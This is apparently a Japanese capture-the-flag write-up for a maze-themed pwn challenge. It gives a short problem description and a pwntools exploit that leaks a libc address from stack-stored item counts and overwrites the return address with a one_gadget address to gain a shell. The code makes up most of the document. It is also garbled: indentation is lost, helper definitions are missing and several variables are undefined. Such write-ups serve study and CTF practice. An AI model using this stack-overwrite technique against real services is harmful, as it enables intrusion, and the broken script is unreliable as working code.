guessingなどはなく正しくpwnではあるが、なんだか手間な感じがありあまり好きでない。

## problem

• 迷路を探索するやつ
• 各座標ごとにアイテムが置いてあって拾ったり置いたりできる
• 座標ごとのアイテムの数はスタック上にある

## implementation

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
args = parser.parse_args()
context.log_level = args.log_level
elf = ELF(args.binary)
libc = ELF(args.libc)

# print the maze
h = 32
w = 32
letters = 'nswe'
delta = [ -32, +32, -1, +1 ]
walls = bytearray(elf.read(elf.symbols['walls'], h * w))
s = ''
for y in range(h):
s0 = ''
s1 = ''
s2 = ''
for x in range(w):
room = y * w + x
wall_n = bool(walls[room] & (1 << letters.index('n')))
wall_s = bool(walls[room] & (1 << letters.index('s')))
wall_w = bool(walls[room] & (1 << letters.index('w')))
wall_e = bool(walls[room] & (1 << letters.index('e')))
s0 += '#%c#' % '.#'[wall_n]
s1 += '%c %c' % ('.#'[wall_e], '.#'[wall_w])
s2 += '#%c#' % '.#'[wall_s]
s += s0 + '\n'
s += s1 + '\n'
s += s2 + '\n'
log.info('maze:\n%s', s)

p = remote(args.host, args.port)
if flush:
p.sendline()
p.recvuntil('You are in room: ')
room = int(p.recvline())
p.recvuntil('Room contains: ')
room_contains = int(p.recvuntil(' '))
p.recvuntil('mate. You have: ')
you_have = int(p.recvuntil(' '))
p.recvuntil('mate.')
log.info('room: %d', room)
return room, room_contains, you_have
def move_for(c, take=False):
if take:
p.sendline('take %d' % room_contains)
p.sendline(c)

for _ in range(34):
move_for('w')
IO_fgets_173 = 0
IO_fgets_173 += room_contains
move_for('w')
IO_fgets_173 *= 0x10000
IO_fgets_173 += room_contains
move_for('w')
IO_fgets_173 *= 0x10000
IO_fgets_173 += room_contains
for _ in range(34 + 2):
move_for('e')
log.info('<_IO_fgets+173>: %#x', IO_fgets_173)
assert room == 0
libc_base = IO_fgets_173 - libc.symbols['_IO_fgets'] - 173
log.info('libc base: %#x', libc_base)

# goto 1023
def go(room, visited):
visited[room] = True
if room == 1023:
return []
for i in range(4):
c = letters[i]
if 0 <= room + delta[i] < h * w:
if not (walls[room] & (1 << i)) and not visited[room + delta[i]]:
result = go(room + delta[i], visited)
if result is not None:
return result + [ letters[i] ]
result = go(0, [ False ] * (h * w))
for c in reversed(result):
move_for(c, take=True)
assert room == 1023

# goto 1023 + 37 (return addr)
for _ in range(6):
move_for('e')
move_for('s')
while room < 1023 + 37 + 32:
move_for('e')
assert room != moved_room
room = moved_room
move_for('n')
assert room == 1023 + 37

p.sendline('take %d' % room_contains)
p.sendline('drop %d' % ((libc_base + one_gadget) % 0x10000))
move_for('e')
p.sendline('take %d' % room_contains)
p.sendline('drop %d' % ((libc_base + one_gadget) / 0x10000 % 0x10000))
move_for('e')
p.sendline('take %d' % room_contains)
p.sendline('drop %d' % ((libc_base + one_gadget) / 0x10000 / 0x10000 % 0x10000))

for _ in range(10):
move_for('n')
move_for('e')
result = go(room, [ False ] * (h * w))
for c in reversed(result):
move_for(c, take=True)